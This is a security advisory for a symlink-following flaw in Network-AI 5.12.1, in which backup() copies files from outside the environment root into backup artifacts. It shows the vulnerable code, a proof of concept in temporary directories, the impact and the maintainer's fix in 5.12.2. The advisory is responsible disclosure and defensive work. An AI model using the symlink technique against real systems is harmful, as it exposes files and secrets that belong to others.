Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

• lib/env-manager.ts:435-460 — backup copy logic.
• lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
• bin/cli.ts:413-420 — default CLI exposes backup creation.
• lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)